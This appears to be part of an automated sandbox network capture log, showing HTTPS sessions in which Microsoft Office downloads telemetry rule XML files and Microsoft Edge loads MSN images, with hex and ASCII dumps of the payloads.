2024-10-27 16:54:40 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49922	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:39 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:40 UTC	563	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:40 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 6ac6ea93-701e-0001-1898-25b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165440Z-15b8d89586f2hk28h0h6zye26c000000064000000000dtcy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:40 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	49920	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:39 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:40 UTC	563	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:40 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 6d89998c-401e-0083-425b-26075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165440Z-17c5cb586f6hn8cl90dxzu28kw00000003kg00000000amks x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:40 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	49923	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:40 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:40 UTC	563	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:40 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: fbe9264b-c01e-0046-04f3-242db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165440Z-r197bdfb6b4g24ztpxkw4umce80000000590000000008zky x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:40 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.5	49924	23.47.50.137	443	7536	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:40 UTC	634	OUT	GET /tenant/amp/entityid/BB1msDBP.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-27 16:54:40 UTC	519	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sat, 26 Oct 2024 00:02:21 GMT X-Datacenter: eastap X-ActivityId: 00195e83-493f-445e-9d59-457040be4c2c Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msDBP X-Source-Length: 59155 Content-Length: 59155 Cache-Control: public, max-age=284809 Expires: Thu, 31 Oct 2024 00:01:29 GMT Date: Sun, 27 Oct 2024 16:54:40 GMT Connection: close
2024-10-27 16:54:40 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-10-27 16:54:40 UTC	16384	IN	Data Raw: 40 c1 9d a0 da 00 d4 26 32 c8 84 1b 03 01 50 d3 b8 4a 59 c9 cf ab 29 a6 9e 07 ad e5 79 ba 73 52 c4 f1 5d 06 d9 59 b5 65 39 46 3b 9b 71 9c 79 b7 db dd 9c 27 c9 f4 29 1c e2 72 9c ed 39 89 26 76 13 93 cc cf 09 c6 6a 5e 9e 39 46 51 70 d0 22 04 c9 a9 a4 82 90 4a 34 92 44 90 08 da c8 51 9c 92 40 34 da 41 24 69 24 d1 f8 20 dd 04 bd 90 02 11 04 5d db c6 49 55 14 d7 7a 4c a9 5f 27 94 ee 50 5d 26 82 b1 cf 2c 79 4c a3 2c 31 9e 71 0e 3d 7d 9d a2 96 9f 1c 0e 6e 67 21 98 be c7 d1 f2 3d 58 53 37 8f 51 9c 79 b0 cb d3 e1 2f 07 5f 2a d5 e8 a7 57 2e 96 83 e8 ae 9a 6a bd 26 61 57 29 91 5d f4 25 c0 e9 c7 d6 71 89 f9 39 f2 f4 77 ca 61 cf 75 08 d8 92 2c 97 4c ec d2 2b 04 92 46 56 90 2d 90 a0 c8 11 6c 85 21 a4 13 0c 0f a2 0d 00 20 94 22 30 b6 20 ca c5 0a 11 40 ac 04 81 81 05 13 Data Ascii: @&2PJY)ysR]Ye9F;qy')r9&vj^9FQp"J4DQ@4A$i$ ]IUzL_'P]&,yL,1q=}ng!=XS7Qy/_*W.j&aW)]%q9wau,L+FV-l! "0 @
2024-10-27 16:54:40 UTC	2474	IN	Data Raw: 90 1a 85 31 8d 7e 02 d9 d7 c0 de 09 64 5a 8f 4a bd 91 6c eb e0 5a 81 7c aa f6 95 fa 57 43 1e a9 3d 30 af 67 bf d8 57 45 ea 0d de 66 52 fb a9 33 79 f9 2b 4b 7d 03 bc ff 00 6c a7 f4 f1 82 58 c7 a6 7a 09 63 c7 83 92 3e 6b 2f 45 35 3e a4 23 e6 f6 51 ee 5c 63 bb 3f 0a 75 6d f1 6b e9 f7 f5 0c b2 bb e4 a8 f9 ca f4 53 4a e8 9f 89 93 e6 b3 bf 54 70 48 af 0f 73 cb dd 3e 26 df 9b a6 b2 87 f4 8e 2b cf cd 7f f6 56 64 eb ad df 5d 4f a5 8f c1 cf f7 47 e4 bc 5c 78 3d 05 84 af 69 0b 39 54 df 5d 1f 89 1e 78 90 57 81 c7 29 f6 4f 8b ff 00 18 77 bd 7e 5d 7f d9 4f 44 b1 7f bb e5 d6 96 fa 3c 4e 13 41 82 bc 0c 78 e4 5e 2e 5c 21 d8 7c f6 56 8a 2a 7d 48 cd f3 fb 32 d7 4b 39 90 c9 0f 61 51 b3 87 04 f8 b9 f1 85 d7 cf 66 e8 54 ae 89 ef 31 7c ce 6d 57 d4 fb bb 8a f6 49 05 e8 c2 3b 42 Data Ascii: 1~dZJlZ\|WC=0gWEfR3y+K}lXzc>k/E5>#Q\c?umkSJTpHs>&+Vd]OG\x=i9T]xW)Ow~]OD<NAx^.\!\|V*}H2K9aQfT1\|mWI;B
2024-10-27 16:54:40 UTC	16384	IN	Data Raw: 45 d7 53 ba d3 47 a7 b2 9b cb a6 30 74 da a9 68 6e 04 97 15 d7 a5 e0 9f e8 5b f4 29 1f 8b e4 5e 17 9b ce 59 cd a5 b5 65 a6 aa 9a 52 4f ca b4 d9 4a 56 3f 99 8b 0d 25 14 b5 67 1a 14 4c 36 f1 94 b6 cd d5 b8 47 a4 b1 fe 9d 1b fc ff 00 99 e9 de d3 d0 ee 32 69 35 99 53 5e 5a 5a 54 53 a1 3d af 77 b0 fc 58 2f 0a 5e 7e ca 52 94 45 15 26 a3 cd 66 97 7e c4 da 7a 26 56 83 2a a8 a5 d3 5e c9 d1 e6 99 d2 b4 55 17 b5 4a 58 69 3d 25 59 58 a5 52 4d a4 9d 72 a6 9a 14 df 45 3b 78 19 3c 8a 6a b4 a3 e9 a6 d5 2e fa aa 9d 3b 12 db 10 54 6e 42 67 6e 5c 0a f2 a1 d7 57 95 fa 74 d3 42 fd 34 a7 85 b6 f6 6c 6b 15 a4 ad 57 2e a8 84 e6 28 6a db 8f 36 64 e2 9d 2b f4 7e 66 e0 f4 9f db d0 ea c9 69 45 ba 21 2c 5a a5 3e 9c 56 dc 4c 17 2a 92 9c 70 9c a6 e7 ea a5 e8 4d e0 96 e9 65 c6 e7 9a 27 Data Ascii: ESG0thn[)^YeROJV?%gL6G2i5S^ZZTS=wX/^~RE&f~z&V^UJXi=%YXRMrE;x<j.;TnBgn\WtB4lkW.(j6d+~fiE!,Z>VLpMe'
2024-10-27 16:54:40 UTC	8048	IN	Data Raw: 3e f7 2d 77 22 7b ef 78 2e 80 24 f7 8d 97 75 e9 11 2c 1a c6 a7 53 e9 a7 72 6a 3b 99 a5 fb f8 79 69 0f be ea 70 5d 2c 0c 8a 56 9e 3b c1 76 2f c2 07 e1 87 f4 f8 b2 6b fa 9f 80 8e c9 1a 2f 6f 42 23 a1 2d 38 ec 89 eb 1f 87 5b f9 13 09 6a 5a 51 fc d5 3d 88 46 0e 62 3c b3 84 bf 82 f8 8d 8a fb 5c ee 8c 10 9e db af 6c 31 2e fc 76 b1 1b 59 57 6e 6d ee f1 63 6d d0 e1 5f a1 6f 7a 38 23 3b 55 60 94 60 e2 62 f1 eb aa cc 53 18 af 35 6f 0b b4 10 a8 68 9f cb f2 d2 af 7e 03 a6 9d 9c 36 c2 d2 f7 bd c6 3a 54 4a 4f 19 77 7c df 70 ea 1c ec d3 c1 68 e9 25 4d d3 bb 4c cb 5b e3 e0 b4 6d 61 4e 16 db 92 df 56 96 64 aa d3 76 df cb 4f e9 5b c6 98 5e c9 6b df a4 93 6d b7 4e 2a 5e d7 b1 07 ab 6e ef d9 7b 99 dd 3f 97 bd e8 1b 6a e3 d7 b7 82 d0 49 9f 86 cc 37 6f 7b d8 dd da 38 6b 7b 11 Data Ascii: >-w"{x.$u,Srj;yip],V;v/k/oB#-8[jZQ=Fb<\l1.vYWnmcm_oz8#;U``bS5oh~6:TJOw\|ph%ML[maNVdvO[^kmN*^n{?jI7o{8k{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.5	49926	23.47.50.137	443	7536	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:40 UTC	634	OUT	GET /tenant/amp/entityid/AA11MZ4M.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-27 16:54:40 UTC	521	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 13 Oct 2024 05:11:07 GMT X-Datacenter: westus X-ActivityId: 61b06f1e-60d8-42e5-877f-94db3c19d21b Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA11MZ4M X-Source-Length: 114527 Content-Length: 114527 Cache-Control: public, max-age=346749 Expires: Thu, 31 Oct 2024 17:13:49 GMT Date: Sun, 27 Oct 2024 16:54:40 GMT Connection: close
2024-10-27 16:54:40 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-10-27 16:54:40 UTC	16384	IN	Data Raw: b6 22 26 79 a6 64 04 d3 74 02 41 94 82 74 a4 93 b9 57 bc 9c 11 8e 95 97 71 01 bd 70 96 69 75 45 dd 0b 96 ca bc ae d8 53 f3 3d c3 4f 04 d1 c2 1b fe eb e4 48 2e 28 8f a7 09 4f 81 dd 8a b5 a2 ce d5 46 53 08 32 d1 c8 df 29 90 08 8e 6c 84 6f 2e 38 20 db 4c b4 58 e8 ee 0f 89 3c 3d 40 e0 56 60 10 57 3f b9 8c cf 16 ba 75 e1 9d f6 f2 da 37 b8 fb af 09 c6 b2 a8 03 15 f3 cf 84 d7 97 31 9a 99 8e 85 f3 b9 61 71 7a 7e f6 3d eb e9 f0 f7 26 51 e3 ff 00 2d 97 69 e6 fa eb 5d 2a 3b 4c 0d 17 8e 6f 79 29 89 21 d2 a5 4b 2d 98 82 52 06 93 10 a0 18 12 19 40 01 d2 aa 50 00 14 a1 41 80 24 29 00 1d aa b0 80 0d 49 88 22 51 4e b0 42 eb 98 4c 24 2d ad 84 d0 10 08 dc ae 10 08 c0 11 98 1a a0 00 a8 59 f5 b8 90 d0 6f cd 0d 26 3b 08 b9 69 30 bd ad d4 af 17 c4 71 c3 40 7a 56 7a 76 e3 ed af Data Ascii: "&ydtAtWqpiuES=OH.(OFS2)lo.8 LX<=@V`W?u71aqz~=&Q-i]*;Loy)!K-R@PA$)I"QNBL$-Yo&;i0q@zVzv
2024-10-27 16:54:40 UTC	2888	IN	Data Raw: 4f a3 52 ed a8 d2 d7 0d c5 68 86 02 b9 b0 e1 a4 69 6a 59 cd ff 00 c7 68 57 a6 da ac a9 56 87 10 d2 72 d5 6b a6 e1 c6 1d fb b4 d8 e1 c9 7a fe 11 e0 87 33 16 11 3c 9c 24 11 b4 6a 39 85 d9 d4 8f 28 82 41 f8 75 5e 33 d7 c3 f1 ac fe ad 20 d2 2b b4 7f 4e bb 0c 80 e1 b1 e2 21 ed b6 06 16 f2 bb ae f3 ec 80 14 b9 00 05 2e 40 01 ca d0 00 72 a4 00 1c b9 00 07 2e 40 32 72 e4 03 20 ab 40 01 cb 90 00 12 14 00 16 b9 00 07 2e 40 01 4a d0 00 54 2e 40 01 d0 ad 00 05 2b 40 01 cb 90 00 72 e4 03 27 2b 40 01 4a d0 00 72 e4 00 6a 5c 80 41 ca d0 00 0a b4 00 14 ad 00 07 2e 40 01 cb 90 00 52 e4 00 1c ba 10 00 72 b4 00 1c b9 00 07 2a 84 00 16 b9 00 c9 ca d0 0c 29 72 01 07 2a 40 01 6a 90 0c 96 a9 00 c9 6a 90 0c 39 72 00 0a 56 99 00 e5 c8 00 39 52 64 02 d5 20 c0 5a a4 80 0b 5c 98 04 Data Ascii: ORhijYhWVrkz3<$j9(Au^3 +N!.@r.@2r @.@JT.@+@r'+@Jrj\A.@Rr)r@jj9rV9Rd Z\
2024-10-27 16:54:40 UTC	16384	IN	Data Raw: f2 c5 db dd 9e 19 a7 41 65 86 a5 13 4b 49 d6 49 53 dc 34 fe 9e c7 2c df 88 46 73 72 2c 3a d4 ac ad 89 71 88 4f 86 7b be 49 fd d5 af 4c ef 68 09 81 00 6f 54 3d 67 d3 a2 a1 d9 3d a1 f7 ec 26 cf 24 c6 81 ab 91 53 7c 13 37 b6 92 4f 31 4a 1b 38 de c1 23 ec bd a7 8b dd d1 3d 1d a9 84 80 00 08 4a 7b ae f8 23 5c 1b 22 d7 05 a9 39 f9 f2 68 a7 87 3a 71 4d 3e e9 84 e6 91 3b a3 2d d5 de cf 3f 55 a7 5b 59 4c a8 cc cb b6 6b 4c f1 af 2f 2d ca db 38 c2 a9 7b a9 0e b0 21 56 95 59 cb ce cb 1b a3 a9 d6 6d 56 1b 5c 2c b0 4b 1f 22 c0 d8 f4 ae 6e d5 ae 51 df 2f 54 73 61 93 e9 6c 23 c9 60 3a e5 1d 49 2d 7b 0d 36 6d 20 44 6d 85 e7 7f 75 3e 77 5e e7 f6 cf a2 37 35 10 38 97 96 90 0e 9d e9 6e 0e 24 82 d5 ae 33 6a 9a 61 ee 5d 22 ee f9 22 17 48 24 34 48 d7 c3 54 80 c7 d2 2e 9d 37 e2 Data Ascii: AeKIIS4,Fsr,:qO{ILhoT=g=&$S\|7O1J8#=J{#\"9h:qM>;-?U[YLkL/-8{!VYmV\,K"nQ/Tsal#`:I-{6m Dmu>w^758n$3ja]""H$4HT.7
2024-10-27 16:54:41 UTC	16384	IN	Data Raw: 02 97 c2 d4 11 c9 67 6e 8b 28 eb c6 79 6d 38 64 d3 75 20 2d aa 29 9b 8b a9 94 34 b8 f9 04 62 c0 d0 a5 16 cf 42 b9 51 b4 f4 c8 ab 10 ec 45 d3 22 ea c9 24 8e 6e 9d 17 32 aa 16 d3 dc 16 c7 96 eb a2 63 e9 cd f6 27 60 94 e5 4e 58 a5 b0 89 99 51 a9 35 d2 00 59 55 e5 67 9b 78 c7 0d f9 34 c8 94 79 48 e8 58 ce 13 b7 46 5c a9 1c 89 4d 5a ed 0c b4 d1 91 55 b0 54 aa 8d cc ba b1 e6 23 1a e2 cb 8a d3 2c 76 f3 75 9b 81 d2 14 ba a2 2d be 16 b0 39 af fb 1f 6e e3 e1 ab 48 0c 76 cb 15 93 25 b7 18 2c 72 9a ad ab a7 0c b7 34 c3 b3 d7 53 6e 3a c2 81 c2 f1 4d 7b 08 d1 d8 ae 6b 4e ce 5d 92 16 39 6e 24 b9 c4 ba de 93 d9 08 9f ea 13 37 d1 3f 2f 52 89 b7 9f 45 65 36 8b 27 6e f3 28 e7 35 bb 56 85 d9 cf cf aa fb f0 ac c5 e4 61 0b 83 75 ba 7a d1 5a 9d ee c3 d0 22 0f a8 fb 51 c0 fd 77 Data Ascii: gn(ym8du -)4bBQE"$n2c'`NXQ5YUgx4yHXF\MZUT#,vu-9nHv%,r4Sn:M{kN]9n$7?/REe6'n(5VauzZ"Qw
2024-10-27 16:54:41 UTC	7952	IN	Data Raw: e4 ef 27 d8 8a 0c 11 8e 83 c0 26 ce f2 92 94 8a e1 7f d2 3c 00 ea 54 5c 36 f5 a9 56 e1 da 5a a6 79 4e 38 8f e2 4b 19 7f 78 ed fa 2c f4 77 5e ab 96 09 2f a2 53 58 fc 0f 6a e6 d4 60 1f f2 0f 9e 84 27 66 ae 93 98 c7 b6 e2 ab 47 3f 6a ef 32 89 b4 d3 e7 98 7d 15 27 ab c4 be 70 74 78 18 ea 95 7f d7 61 f9 e4 84 d4 a6 07 fc 94 7a 11 7f f9 68 b7 b5 cb e1 b5 6b 48 15 2a 55 3a d5 61 e8 f6 22 7b c1 c5 87 90 f6 a7 cf ea fc 15 2a 2e af 7c 6d 2c a5 46 6d 5a 80 fb f4 fc 0a 38 6b b1 03 a0 7d 56 5c fe a9 f6 ad 2a e4 93 b6 36 7d 91 25 8e 35 9e 7f 5b 7c 0a 68 a4 d3 bf 93 42 cf e6 bd 35 f9 33 f9 a2 3d ef fd c3 f8 7d 8a 77 96 c6 ea d3 fe 55 3b bf ab f0 69 35 e8 ae 3d 18 dd fa d6 1b 84 e3 d9 ec 5a ce c9 1a 47 43 7f b4 b9 ec f1 74 5f a3 ae 5d 79 7e 2e 59 f5 fe 2c 6c bf 6b b1 4e Data Ascii: '&<T\6VZyN8Kx,w^/SXj`'fG?j2}'ptxazhkHU:a"{.\|m,FmZ8k}V\*6}%5[\|hB53=}wU;i5=ZGCt_]y~.Y,lkN
2024-10-27 16:54:41 UTC	16384	IN	Data Raw: d1 64 39 f9 4a da 64 e5 b7 4e 5c fd bf 37 a1 31 db d1 8a cb 1d 8e cc 24 2e ee b7 3e 3c cd bc 7f 86 f4 72 9a ba 6d 8a c1 65 ae 9e a6 0f 33 e1 bb 9a be 70 2b 2d 74 75 47 3b 83 e1 bb 9a 5e 66 f5 9a b7 ea 62 e2 e8 76 b4 bc c0 b3 56 fd 4c 1c 5d 0e d6 8f 9a 16 72 db a9 8b 8f e1 bb 13 fc d5 9f 2b 6e a6 2e 4f 86 eb d3 43 cd 59 d2 b5 ea 64 e4 f8 6e cd 27 0a b0 65 42 95 7d 48 73 74 3a 74 9e ee 28 ac e7 5d 57 56 91 58 7c 3b 7c dd 31 3c 71 6b 18 ab f8 8c 2b 92 fb 0f 46 36 7e f2 b0 57 47 5b 91 e7 7c 17 aa dc f3 d6 06 62 ba fa 9c 4f 2f e1 3d 6d 46 f7 9a b0 3c c2 bb ba 9c 1d 55 e5 74 3d 5e 98 df f3 02 c2 15 4a ef ea 70 f5 bc ae 87 a9 f0 de 8f 36 2b 11 95 b7 af 47 6e 29 9b c6 e9 7a 99 